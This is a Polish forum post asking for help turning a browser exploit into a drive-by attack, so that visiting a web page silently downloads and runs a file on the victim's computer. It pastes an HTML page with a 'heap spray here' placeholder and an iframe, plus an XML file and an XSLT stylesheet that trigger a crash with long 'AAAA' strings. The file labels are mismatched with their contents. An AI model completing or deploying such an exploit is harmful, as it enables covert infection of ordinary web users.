Witam, wiem ze prawdopodobnie na tym forum nie otrzymam zadnej pomocy, przynajmniej kiedys tak bylo, ale warto sprobowac. Mam pewnego exploita i chcialbym wrzucic go na strone, ale w ktorym miejscu nalezy pozmieniac kod by automatycznie po wejsciu sciagalo i odpalalo plik ofierze.
Pierwszy plik html :
Plik xmlcrash.xmlKod:<html> <script> ****// k`sOSe - works both on windows and linux ****// heap spray here :) </script> <iframe src="xmlcrash.xml"> </html>
I plik xslt.xsl :Kod:<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="xslt.xsl"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> ****<item1 id="AAAAAAA" /> ****<item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/> </root>
Jak ktos pomoze bede wdzieczny.Kod:<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> ****<xsl:key name="label" match="item2" use="w00t()"/> ****<xsl:template match="root"> ********************<xsl:for-each select="//item1"> ************************<xsl:call-template name="item1" /> ********************</xsl:for-each> ****</xsl:template> ****<xsl:template name="item1"> ****************<xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"> ****************</xsl:for-each> ****</xsl:template> </xsl:stylesheet>
Odpowiedź z Cytatem